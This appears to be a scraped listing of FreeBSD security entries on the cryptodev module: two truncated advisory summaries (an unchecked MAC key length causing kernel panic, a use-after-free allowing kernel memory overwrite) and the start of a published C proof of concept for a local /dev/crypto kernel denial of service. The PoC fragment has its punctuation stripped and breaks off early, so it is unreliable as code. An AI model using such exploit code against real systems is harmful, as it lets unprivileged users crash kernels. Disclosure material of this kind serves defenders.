FreeBSD -- Insufficient cryptodev MAC key length check

Problem Description: Requests to create cryptography sessions using a MAC did not validate the user-supplied MAC key length. The cryptodev module allocates a buffer whose size is this user-suppled length. Impact: An unprivileged process can trigger a kernel panic...

FreeBSD -- Use after free in cryptodev module

Problem Description: A race condition permitted a data structure in the kernel to be used after it was freed by the cryptodev module. Impact: An unprivileged process can overwrite arbitrary kernel memory...

FreeBSD 6.1 - '/dev/crypto' Local Kernel Denial of Service

// Evgeny Legerov elegerov.blogspot.com include unistd.h include sys/types.h include stdio.h include fcntl.h include crypto/cryptodev.h int main int fd2, fd; struct cryptkop kop; printf"FreeBSD 6.1 /dev/crypto local kernel DoS\n"; fd2 = open"/dev/crypto", ORDWR, 0; if fd2 == -1 perror"open";...